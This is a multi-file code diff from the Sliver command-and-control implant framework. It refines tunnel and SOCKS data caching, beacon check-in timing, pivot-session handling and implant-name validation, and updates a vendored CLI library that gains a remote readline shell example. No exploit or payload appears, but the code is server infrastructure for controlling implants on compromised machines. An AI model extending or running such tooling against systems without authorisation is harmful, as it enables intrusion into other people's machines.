// Setting the date right before and right after message, since channel can be blocked for some amount of time
t.setLastMessageTime()
defer t.setLastMessageTime()
t.FromImplant <- tunnelData
}
type tunnels struct {
@@ -64,12 +108,12 @@ type tunnels struct {
func (t *tunnels) Create(sessionID string) *Tunnel {
tunnelID := NewTunnelID()
session := Sessions.Get(sessionID)
tunnel := &Tunnel{
ID: tunnelID,
SessionID: session.ID,
ToImplant: make(chan []byte),
FromImplant: make(chan *sliverpb.TunnelData),
}
tunnel := NewTunnel(
tunnelID,
session.ID,
)
t.mutex.Lock()
defer t.mutex.Unlock()
t.tunnels[tunnel.ID] = tunnel
@@ -77,6 +121,39 @@ func (t *tunnels) Create(sessionID string) *Tunnel {
return tunnel
}
// ScheduleClose - schedules a close for tunnel, must be called as routine.
// will close it once there is no data for at least delayBeforeClose delay since last message
// This is _necessary_ since we processing messages asynchronously
// and if tunnelCloseHandler routine will fire before tunnelDataHandler routine we will lose some data
// (this is what happends for socks and portfwd)
// There is no another way around it, if we want to stick to async processing as we do now.
// All additional changes requires changes on implants(like sequencing for close messages),
// and as there is a goal to keep compatability we don't do that at the moment.
// So there is trade off - more stability or more speed. Or rewriting implant logic.
// At the moment, i see it affects only `shell` command and locking it for 10 seconds on exit. Not a big deal.
func (t *tunnels) ScheduleClose(tunnelID uint64) {
tunnel := t.Get(tunnelID)
if tunnel == nil {
return
}
timeDelta := time.Now().Sub(tunnel.GetLastMessageTime())
coreLog.Printf("Scheduled close for channel %d (delta: %v)", tunnelID, timeDelta)
if timeDelta >= delayBeforeClose {
coreLog.Printf("Closing channel %d", tunnelID)
t.Close(tunnelID)
} else {
// Reschedule
coreLog.Printf("Rescheduling closing channel %d", tunnelID)
time.Sleep(delayBeforeClose - timeDelta + time.Second)
go t.ScheduleClose(tunnelID)
}
}
// Close - closing tunnel
// It's prefered to use ScheduleClose function if you don't 100% sure there is no more data to receive
func (t *tunnels) Close(tunnelID uint64) error {
t.mutex.Lock()
defer t.mutex.Unlock()
@@ -111,6 +188,7 @@ func (t *tunnels) Close(tunnelID uint64) error {
func (t *tunnels) Get(tunnelID uint64) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
return t.tunnels[tunnelID]
}
+1 -1
View File
@@ -109,7 +109,7 @@ func (e *ECCKeyPair) PrivateBase64() string {
return base64.RawStdEncoding.EncodeToString(e.Private[:])
}
// RandomeECCKeyPair - Generate a random Curve 25519 key pair
// RandomECCKeyPair - Generate a random Curve 25519 key pair
func RandomECCKeyPair() (*ECCKeyPair, error) {
public, private, err := box.GenerateKey(rand.Reader)
if err != nil {
+1 -1
View File
@@ -322,7 +322,7 @@ func UpdateBeaconCheckinByID(beaconID string, next int64) error {
ID: uuid.FromStringOrNil(beaconID),
}).Updates(models.Beacon{
LastCheckin: time.Now(),
NextCheckin: next,
NextCheckin: time.Now().Unix() + next,
}).Error
return err
}
+4 -7
View File
@@ -29,7 +29,6 @@ import (
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"text/template"
@@ -194,11 +193,10 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
}
name := ""
if pbConfig.Name != "" {
// Only allow user-provided alpha/numeric names
if regexp.MustCompile(`^[[:alnum:]]+$`).MatchString(pbConfig.Name) {
name = pbConfig.Name
}
if err := util.AllowedName(pbConfig.Name); err != nil {
buildLog.Warnf("%s\n", err)
} else {
name = pbConfig.Name
}
return name, cfg
}
@@ -896,7 +894,6 @@ const (
// GoPrivate - The default Go private arg to garble when obfuscation is enabled.
// Wireguard dependencies prevent the use of wildcard github.com/* and golang.org/*.
// The current packages below aren't definitive and need to be tidied up.
// GoPrivate = "github.com/bishopfox/*,github.com/Microsoft/*,github.com/burntsushi/*,github.com/kbinani/*,github.com/lxn/*,github.com/golang/*,github.com/shm/*,github.com/lesnuages/*"
wgGoPrivate = "github.com/*,golang.org/*,golang.zx2c4.com/*,google.golang.org/*"
allGoPrivate = "*"
)
+1
View File
@@ -190,6 +190,7 @@ func GoBuild(config GoConfig, src string, dest string, buildmode string, tags []
return nil, fmt.Errorf(fmt.Sprintf("Invalid compiler target: %s", target))
}
var goCommand = []string{"build"}
if 0 < len(trimpath) {
goCommand = append(goCommand, trimpath)
}
+3 -3
View File
@@ -74,7 +74,7 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
beacon.RemoteAddress = implantConn.RemoteAddress
beacon.PID = beaconReg.Register.Pid
beacon.Filename = beaconReg.Register.Filename
beacon.LastCheckin = implantConn.LastMessage
beacon.LastCheckin = implantConn.GetLastMessage()
beacon.Version = beaconReg.Register.Version
beacon.ReconnectInterval = beaconReg.Register.ReconnectInterval
beacon.ActiveC2 = beaconReg.Register.ActiveC2
@@ -83,7 +83,7 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
beacon.Interval = beaconReg.Interval
beacon.Jitter = beaconReg.Jitter
beacon.NextCheckin = beaconReg.NextCheckin
beacon.NextCheckin = time.Now().Unix() + beaconReg.NextCheckin
err = db.Session().Save(beacon).Error
if err != nil {
@@ -125,7 +125,7 @@ func beaconTasksHandler(implantConn *core.ImplantConnection, data []byte) *slive
return nil
}
go func() {
err = db.UpdateBeaconCheckinByID(beaconTasks.ID, beaconTasks.NextCheckin)
err := db.UpdateBeaconCheckinByID(beaconTasks.ID, beaconTasks.NextCheckin)
if err != nil {
beaconHandlerLog.Errorf("failed to update checkin: %s", err)
}
+19 -3
View File
@@ -146,8 +146,23 @@ func pivotPeerFailureHandler(implantConn *core.ImplantConnection, data []byte) *
core.PivotSessions.Range(func(key, value interface{}) bool {
pivot := value.(*core.Pivot)
if pivot.OriginID == peerFailure.PeerID {
found := pivot.OriginID == peerFailure.PeerID
if !found {
pivotLog.Warnf("Filed peer not found by OriginID, searching by Peers instead")
for _, peer := range pivot.Peers {
if peer.PeerID == peerFailure.PeerID {
pivotLog.Warnf("Found session with needed peer!")
found = true
}
}
}
if found {
session := core.Sessions.FromImplantConnection(pivot.ImplantConn)
if session != nil {
core.Sessions.Remove(session.ID)
}
@@ -214,11 +229,12 @@ func serverKeyExchange(implantConn *core.ImplantConnection, peerEnvelope *sliver
return nil
}
pivotSession := core.NewPivotSession(peerEnvelope.Peers)
pivotLog.Infof("Pivot session %s created with origin %s", pivotSession.ID, peerEnvelope.Peers[0].Name)
pivotLog.Debugf("Peers: %v", peerEnvelope.Peers)
pivotSession.OriginID = peerEnvelope.Peers[0].PeerID
pivotSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
pivotLog.Infof("Pivot session %s created with origin %s and OriginID: %v", pivotSession.ID, peerEnvelope.Peers[0].Name, pivotSession.OriginID)
pivotLog.Infof("Peers: %v", peerEnvelope.Peers)
pivotRemoteAddr := peersToString(implantConn.RemoteAddress, peerEnvelope)
pivotSession.ImplantConn = core.NewImplantConnection(core.PivotTransportName, pivotRemoteAddr)
+7 -3
View File
@@ -110,15 +110,18 @@ func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliver
defer tunnelHandlerMutex.Unlock()
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[DATA] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
tunnel := core.Tunnels.Get(tunnelData.TunnelID)
if tunnel != nil {
if session.ID == tunnel.SessionID {
tunnel.FromImplant <- tunnelData
tunnel.SendDataFromImplant(tunnelData)
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
} else {
sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
sessionHandlerLog.Warnf("Data sent on nil tunnel %d, %s", tunnelData.TunnelID, tunnelData.Data)
}
return nil
}
@@ -134,6 +137,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
if !tunnelData.Closed {
return nil
}
@@ -141,7 +145,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
if tunnel != nil {
if session.ID == tunnel.SessionID {
sessionHandlerLog.Infof("Closing tunnel %d", tunnel.ID)
core.Tunnels.Close(tunnel.ID)
go core.Tunnels.ScheduleClose(tunnel.ID)
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
+8
View File
@@ -141,9 +141,17 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
}
if dev.hasV4 {
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv4EmptySubnet, NIC: 1})
tcpipErr = dev.stack.SetForwardingDefaultAndAllNICs(header.IPv4ProtocolNumber, true)
if tcpipErr != nil {
return nil, nil, fmt.Errorf("SetForwarding(): %v", tcpipErr)
}
}
if dev.hasV6 {
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
tcpipErr = dev.stack.SetForwardingDefaultAndAllNICs(header.IPv6ProtocolNumber, true)
if tcpipErr != nil {
return nil, nil, fmt.Errorf("SetForwarding(): %v", tcpipErr)
}
}
dev.events <- tun.EventUp
+1 -1
View File
@@ -40,5 +40,5 @@ var (
ErrDatabaseFailure = status.Error(codes.Internal, "Database operation failed")
// ErrInvalidName - Invalid name
ErrInvalidName = status.Error(codes.InvalidArgument, "Invalid session name, alphanumerics only")
ErrInvalidName = status.Error(codes.InvalidArgument, "Invalid session name, alphanumerics and _-. only")
)
+2 -3
View File
@@ -20,13 +20,12 @@ package rpc
import (
"context"
"regexp"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/util"
)
const maxNameLength = 32
@@ -56,7 +55,7 @@ func (rpc *Server) Rename(ctx context.Context, req *clientpb.RenameReq) (*common
if len(req.Name) < 1 || maxNameLength < len(req.Name) {
return resp, ErrInvalidName
}
if !regexp.MustCompile(`^[[:alnum:]]+$`).MatchString(req.Name) {
if err := util.AllowedName(req.Name); err != nil {
return resp, ErrInvalidName
}
+62 -26
View File
@@ -32,12 +32,59 @@ import (
var (
// SessionID->Tunnels[TunnelID]->Tunnel->Cache map[uint64]*sliverpb.SocksData{}
toImplantCacheSocks = map[uint64]sync.Map{}
toImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}}
// SessionID->Tunnels[TunnelID]->Tunnel->Cache
fromImplantCacheSocks = map[uint64]map[uint64]*sliverpb.SocksData{}
fromImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}}
)
type socksDataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.SocksData
}
func (c *socksDataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.SocksData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.SocksData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *socksDataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.SocksData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *socksDataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *socksDataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
// Socks - Open an in-band port forward
func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
for {
@@ -62,18 +109,17 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
go func() {
for tunnelData := range socks.FromImplant {
recvCache, ok := fromImplantCacheSocks[fromClient.TunnelID]
if ok {
recvCache[tunnelData.Sequence] = tunnelData
}
for recv, ok := recvCache[socks.FromImplantSequence]; ok; recv, ok = recvCache[socks.FromImplantSequence] {
fromImplantCacheSocks.Add(fromClient.TunnelID, tunnelData.Sequence, tunnelData)
for recv, ok := fromImplantCacheSocks.Get(fromClient.TunnelID, socks.FromImplantSequence); ok; recv, ok = fromImplantCacheSocks.Get(fromClient.TunnelID, socks.FromImplantSequence) {
rpcLog.Debugf("[socks] agent to (Server To Client) Data Sequence %d , Data Size %d ,Data %v\n", socks.FromImplantSequence, len(recv.Data), recv.Data)
socks.Client.Send(&sliverpb.SocksData{
CloseConn: recv.CloseConn,
TunnelID: recv.TunnelID,
Data: recv.Data,
})
delete(recvCache, socks.FromImplantSequence)
fromImplantCacheSocks.DeleteSeq(fromClient.TunnelID, socks.FromImplantSequence)
socks.FromImplantSequence++
}
@@ -83,29 +129,20 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
// Send Agent
go func() {
recvCache, ok := toImplantCacheSocks[fromClient.TunnelID]
if ok {
recvCache.Store(fromClient.Sequence, &sliverpb.SocksData{
TunnelID: fromClient.TunnelID,
Username: fromClient.Username,
Password: fromClient.Password,
Data: fromClient.Data,
Sequence: fromClient.Sequence,
})
toImplantCacheSocks.Add(fromClient.TunnelID, fromClient.Sequence, fromClient)
}
for recv, ok := recvCache.Load(socks.ToImplantSequence); ok; recv, ok = recvCache.Load(socks.ToImplantSequence) {
for recv, ok := toImplantCacheSocks.Get(fromClient.TunnelID, socks.ToImplantSequence); ok; recv, ok = toImplantCacheSocks.Get(fromClient.TunnelID, socks.ToImplantSequence) {
rpcLog.Debugf("[socks] Client to (Server To Agent) Data Sequence %d , Data Size %d \n", socks.ToImplantSequence, len(fromClient.Data))
data, _ := proto.Marshal(recv.(*sliverpb.SocksData))
data, _ := proto.Marshal(recv)
session := core.Sessions.Get(fromClient.Request.SessionID)
session.Connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
socks.ToImplantSequence++
toImplantCacheSocks.DeleteSeq(fromClient.TunnelID, socks.ToImplantSequence)
socks.ToImplantSequence++
}
}()
@@ -123,8 +160,7 @@ func (s *Server) CreateSocks(ctx context.Context, req *sliverpb.Socks) (*sliverp
if tunnel == nil {
return nil, ErrTunnelInitFailure
}
toImplantCacheSocks[tunnel.ID] = sync.Map{}
fromImplantCacheSocks[tunnel.ID] = map[uint64]*sliverpb.SocksData{}
return &sliverpb.Socks{
SessionID: session.ID,
TunnelID: tunnel.ID,
@@ -134,8 +170,8 @@ func (s *Server) CreateSocks(ctx context.Context, req *sliverpb.Socks) (*sliverp
// CloseSocks - Client requests we close a Socks
func (s *Server) CloseSocks(ctx context.Context, req *sliverpb.Socks) (*commonpb.Empty, error) {
err := core.SocksTunnels.Close(req.TunnelID)
delete(toImplantCacheSocks, req.TunnelID)
delete(fromImplantCacheSocks, req.TunnelID)
toImplantCacheSocks.DeleteTun(req.TunnelID)
fromImplantCacheSocks.DeleteTun(req.TunnelID)
if err != nil {
return nil, err
}
+62 -22
View File
@@ -21,6 +21,7 @@ package rpc
import (
"context"
"io"
"sync"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
@@ -34,12 +35,59 @@ var (
tunnelLog = log.NamedLogger("rpc", "tunnel")
// SessionID->Tunnels[TunnelID]->Tunnel->Cache
toImplantCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
toImplantCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
// SessionID->Tunnels[TunnelID]->Tunnel->Cache
fromImplantCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
fromImplantCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
)
type dataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.TunnelData
}
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *dataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
// CreateTunnel - Create a new tunnel on the server, however based on only this request there's
// no way to associate the tunnel with the correct client, so the client must send
// a zero-byte message over TunnelData to bind itself to the newly created tunnel.
@@ -52,8 +100,6 @@ func (s *Server) CreateTunnel(ctx context.Context, req *sliverpb.Tunnel) (*slive
if tunnel == nil {
return nil, ErrTunnelInitFailure
}
toImplantCache[tunnel.ID] = map[uint64]*sliverpb.TunnelData{}
fromImplantCache[tunnel.ID] = map[uint64]*sliverpb.TunnelData{}
return &sliverpb.Tunnel{
SessionID: session.ID,
TunnelID: tunnel.ID,
@@ -62,12 +108,10 @@ func (s *Server) CreateTunnel(ctx context.Context, req *sliverpb.Tunnel) (*slive
// CloseTunnel - Client requests we close a tunnel
func (s *Server) CloseTunnel(ctx context.Context, req *sliverpb.Tunnel) (*commonpb.Empty, error) {
err := core.Tunnels.Close(req.TunnelID)
delete(toImplantCache, req.TunnelID)
delete(fromImplantCache, req.TunnelID)
if err != nil {
return nil, err
}
go core.Tunnels.ScheduleClose(req.TunnelID)
toImplantCache.DeleteTun(req.TunnelID)
fromImplantCache.DeleteTun(req.TunnelID)
return &commonpb.Empty{}, nil
}
@@ -100,7 +144,6 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
go func() {
sendCache := toImplantCache[tunnel.ID]
for tunnelData := range tunnel.FromImplant {
tunnelLog.Debugf("Tunnel %d: From implant %d byte(s), seq: %d ack: %d",
@@ -110,30 +153,28 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
if !tunnelData.Resend {
index := tunnelData.Ack - 1
for sendMsg, ok := sendCache[index]; ok; sendMsg, ok = sendCache[index] {
for sendMsg, ok := toImplantCache.Get(tunnel.ID, index); ok; sendMsg, ok = toImplantCache.Get(tunnel.ID, index) {
tunnelLog.Debugf("Tunnel %d: Removing ack: %d from send cache", tunnel.ID, sendMsg.Sequence)
delete(sendCache, index)
toImplantCache.DeleteSeq(tunnel.ID, index)
index = index - 1
}
recvCache, ok := fromImplantCache[tunnel.ID]
if ok {
recvCache[tunnelData.Sequence] = tunnelData
}
for recv, ok := recvCache[tunnel.FromImplantSequence]; ok; recv, ok = recvCache[tunnel.FromImplantSequence] {
fromImplantCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
for recv, ok := fromImplantCache.Get(tunnel.ID, tunnel.FromImplantSequence); ok; recv, ok = fromImplantCache.Get(tunnel.ID, tunnel.FromImplantSequence) {
tunnel.Client.Send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: recv.Data,
Closed: false,
})
delete(recvCache, tunnel.FromImplantSequence)
fromImplantCache.DeleteSeq(tunnel.ID, tunnel.FromImplantSequence)
tunnel.FromImplantSequence++
}
} else {
origtunnelData, ok := sendCache[tunnelData.Ack]
origtunnelData, ok := toImplantCache.Get(tunnel.ID, tunnelData.Ack)
if ok {
tunnelLog.Debugf("Tunnel %d: Resending cached msg: %d", tunnel.ID, tunnelData.Ack)
session := core.Sessions.Get(tunnel.SessionID)
@@ -163,7 +204,6 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
go func() {
session := core.Sessions.Get(tunnel.SessionID)
sendCache := toImplantCache[tunnel.ID]
for data := range tunnel.ToImplant {
tunnelLog.Debugf("Tunnel %d: To implant %d byte(s), seq: %d", tunnel.ID, len(data), tunnel.ToImplantSequence)
tunnelData := sliverpb.TunnelData{
@@ -174,7 +214,7 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
Closed: false,
}
// Add tunnel data to cache
sendCache[tunnelData.Sequence] = &tunnelData
toImplantCache.Add(tunnel.ID, tunnelData.Sequence, &tunnelData)
data, _ := proto.Marshal(&tunnelData)
tunnel.ToImplantSequence++
+4 -4
View File
@@ -26,8 +26,8 @@ import (
"io"
)
//Encrypt the results
func Encrypt(data []byte, key []byte, iv []byte) []byte {
// PreludeEncrypt the results
func PreludeEncrypt(data []byte, key []byte, iv []byte) []byte {
plainText, err := pad(data, aes.BlockSize)
if err != nil {
return make([]byte, 0)
@@ -47,8 +47,8 @@ func Encrypt(data []byte, key []byte, iv []byte) []byte {
return cipherText
}
//Decrypt a command
func Decrypt(data []byte, key []byte) []byte {
// PreludeDecrypt a command
func PreludeDecrypt(data []byte, key []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
return nil
+42
View File
@@ -0,0 +1,42 @@
package util
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"regexp"
)
func AllowedName(name string) error {
if name != "" {
// allow for alphanumeric, periods, dashes, and underscores in name
isAllowed := regexp.MustCompile(`^[[:alnum:]\.\-_]+$`).MatchString
// do not allow for files ".", "..", or anything starting with ".."
additionalDeny := regexp.MustCompile(`^\.\.|^\.$`).MatchString
if !isAllowed(name) {
return errors.New("Name must be alphanumeric or .-_ only\n")
} else if additionalDeny(name) {
return errors.New("Name cannot be \".\", \"..\", or start with \"..\"")
} else {
return nil
}
} else {
return errors.New("Name cannot be blank!")
}
}
+40
View File
@@ -0,0 +1,40 @@
package util
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"testing"
)
func TestAllowedName(t *testing.T) {
notAllowed := [3]string{".", "..", "..test"}
isAllowed := [6]string{"test", "testing_string", "testing.string", "testing-string", "testing..string", "test.."}
for i := 0; i < len(notAllowed); i++ {
if err := AllowedName(notAllowed[i]); err == nil {
t.Fatalf("failed to deny non allowed implant name")
}
}
for i := 0; i < len(isAllowed); i++ {
if err := AllowedName(isAllowed[i]); err != nil {
t.Fatalf("failed to allow allowed implant name")
}
}
}
+45 -1
View File
@@ -81,11 +81,55 @@ Builtin support for multiple lines.
... command
```
## Separate flags and args specifically
If you need to pass a flag-like value as positional argument, you can do so by using a double dash:
`>>> command --flag1=something -- --myPositionalArg`
## Remote shell access with readline
By calling RunWithReadline() rather than Run() you can pass instance of readline.Instance.
One of interesting usages is having a possibility of remote access to your shell:
```go
handleFunc := func(rl *readline.Instance) {
var app = grumble.New(&grumble.Config{
// override default interrupt handler to avoid remote shutdown
InterruptHandler: func(a *grumble.App, count int) {
// do nothing
},
// your usual grumble configuration
})
// add commands
app.RunWithReadline(rl)
}
cfg := &readline.Config{}
readline.ListenRemote("tcp", ":5555", cfg, handleFunc)
```
In the client code just use readline built in DialRemote function:
```go
if err := readline.DialRemote("tcp", ":5555"); err != nil {
fmt.Errorf("An error occurred: %s \n", err.Error())
}
```
## Samples
Check out the [sample directory](/sample) for some detailed examples.
The [grml project](https://github.com/desertbit/grml) uses grumble.
## Projects using Grumble
- grml - A simple build automation tool written in Go: https://github.com/desertbit/grml
- orbit - A RPC-like networking backend written in Go: https://github.com/desertbit/orbit
## Known issues
- Windows unicode not fully supported ([issue](https://github.com/desertbit/grumble/issues/48))
## Additional Useful Packages
+61 -31
View File
@@ -80,6 +80,9 @@ func New(c *Config) (a *App) {
printCommandHelp: defaultPrintCommandHelp,
interruptHandler: defaultInterruptHandler,
}
if c.InterruptHandler != nil {
a.interruptHandler = c.InterruptHandler
}
// Register the builtin flags.
a.flags.Bool("h", "help", false, "display help")
@@ -118,6 +121,7 @@ func (a *App) Config() *Config {
}
// Commands returns the app's commands.
// Access is not thread-safe. Only access during command execution.
func (a *App) Commands() *Commands {
return &a.commands
}
@@ -277,8 +281,21 @@ func (a *App) RunCommand(args []string) error {
// Run the application and parse the command line arguments.
// This method blocks.
func (a *App) Run() (err error) {
// Create the readline instance.
config := &readline.Config{}
a.setReadlineDefaults(config)
rl, err := readline.NewEx(config)
if err != nil {
return err
}
return a.RunWithReadline(rl)
}
func (a *App) RunWithReadline(rl *readline.Instance) (err error) {
defer a.Close()
a.setReadlineDefaults(rl.Config)
// Sort all commands by their name.
a.commands.SortRecursive()
@@ -323,6 +340,7 @@ func (a *App) Run() (err error) {
a.printCommandHelp(a, cmd, a.isShell)
return nil
},
isBuiltin: true,
}, false)
// Check if help should be displayed.
@@ -331,6 +349,30 @@ func (a *App) Run() (err error) {
return nil
}
// Add shell builtin commands.
// Ensure to add all commands before running the init hook.
// If the init hook does something with the app commands, then these should also be included.
if a.isShell {
a.AddCommand(&Command{
Name: "exit",
Help: "exit the shell",
Run: func(c *Context) error {
c.Stop()
return nil
},
isBuiltin: true,
})
a.AddCommand(&Command{
Name: "clear",
Help: "clear the screen",
Run: func(c *Context) error {
readline.ClearScreen(a.rl)
return nil
},
isBuiltin: true,
})
}
// Run the init hook.
if a.initHook != nil {
err = a.initHook(a, a.flagMap)
@@ -344,36 +386,8 @@ func (a *App) Run() (err error) {
return a.RunCommand(args)
}
// Add shell builtin commands.
a.AddCommand(&Command{
Name: "exit",
Help: "exit the shell",
Run: func(c *Context) error {
c.Stop()
return nil
},
})
a.AddCommand(&Command{
Name: "clear",
Help: "clear the screen",
Run: func(c *Context) error {
readline.ClearScreen(a.rl)
return nil
},
})
// Create the readline instance.
a.rl, err = readline.NewEx(&readline.Config{
Prompt: a.currentPrompt,
HistorySearchFold: true, // enable case-insensitive history searching
DisableAutoSaveHistory: true,
HistoryFile: a.config.HistoryFile,
HistoryLimit: a.config.HistoryLimit,
AutoComplete: newCompleter(&a.commands),
})
if err != nil {
return err
}
// Assign readline instance
a.rl = rl
a.OnClose(a.rl.Close)
// Run the shell hook.
@@ -393,6 +407,16 @@ func (a *App) Run() (err error) {
return a.runShell()
}
func (a *App) setReadlineDefaults(config *readline.Config) {
config.Prompt = a.currentPrompt
config.HistorySearchFold = true
config.DisableAutoSaveHistory = true
config.HistoryFile = a.config.HistoryFile
config.HistoryLimit = a.config.HistoryLimit
config.AutoComplete = newCompleter(&a.commands)
config.VimMode = a.config.VimMode
}
func (a *App) runShell() error {
var interruptCount int
var lines []string
@@ -461,7 +485,13 @@ Loop:
err = a.RunCommand(args)
if err != nil {
a.PrintError(err)
continue Loop
// Do not continue the Loop here. We want to handle command changes below.
}
// Sort the commands again if they have changed (Add or remove action).
if a.commands.hasChanged() {
a.commands.SortRecursive()
a.commands.unsetChanged()
}
}
+5 -4
View File
@@ -67,10 +67,11 @@ type Command struct {
// A non-nil Completer overrides the default behaviour.
Completer func(prefix string, args []string) []string
parent *Command
flags Flags
args Args
commands Commands
parent *Command
flags Flags
args Args
commands Commands
isBuiltin bool // Whenever this is a build-in command not added by the user.
}
func (c *Command) validate() error {
+42 -9
View File
@@ -30,29 +30,43 @@ import (
// Commands collection.
type Commands struct {
list []*Command
list []*Command
changed bool // Used to resort if something changes.
}
// Add the command to the slice.
// Duplicates are ignored.
func (c *Commands) Add(cmd *Command) {
c.list = append(c.list, cmd)
c.changed = true
}
// Remove a command from the slice.
func (c *Commands) Remove(name string) {
var index int
var cmd *Command
found := false
for index, cmd = range c.list {
func (c *Commands) Remove(name string) (found bool) {
for index, cmd := range c.list {
if cmd.Name == name {
found = true
break
c.changed = true
c.list = append(c.list[:index], c.list[index+1:]...)
return
}
}
if found {
c.list = append(c.list[:index], c.list[index+1:]...)
return
}
func (c *Commands) RemoveAll() {
var builtins []*Command
// Hint: There are no built-in sub commands. Ignore them.
for _, cmd := range c.list {
if cmd.isBuiltin {
builtins = append(builtins, cmd)
}
}
// Only keep the builtins.
c.list = builtins
c.changed = true
}
// All returns a slice of all commands.
@@ -108,6 +122,25 @@ func (c *Commands) SortRecursive() {
}
}
func (c *Commands) hasChanged() bool {
if c.changed {
return true
}
for _, sc := range c.list {
if sc.commands.hasChanged() {
return true
}
}
return false
}
func (c *Commands) unsetChanged() {
c.changed = false
for _, sc := range c.list {
sc.commands.unsetChanged()
}
}
